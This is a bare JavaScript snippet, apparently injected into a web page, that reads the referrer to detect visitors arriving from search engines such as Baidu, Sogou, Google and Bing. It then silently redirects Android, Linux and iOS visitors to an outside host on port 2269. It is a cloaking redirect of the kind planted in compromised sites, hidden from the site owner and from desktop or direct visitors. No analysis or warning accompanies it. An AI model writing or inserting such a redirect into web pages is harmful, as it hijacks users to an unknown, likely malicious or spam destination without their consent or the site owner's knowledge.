var echo = function(str){ document.write(str); } var regexp=/\.(baidu|haosou|sogou|soso|google|youdao|yahoo|bing|biso|gougou|ifeng|ivc|sm|360|so)(\.[a-z0-9\-]+){1,2}\//ig; var where =document.referrer; if(regexp.test(where)) { var r = document.referrer; if((navigator.userAgent.match(/(Android|android|Linux)/i))) {window.location.href='http://syyh2.8rjsk9.cn:2269/xbb/eli.htm'} else if((navigator.userAgent.match(/(iPhone|iPad|iPod|ios)/i))) {window.location.href='http://syyh2.8rjsk9.cn:2269/xbb/eli.htm'} }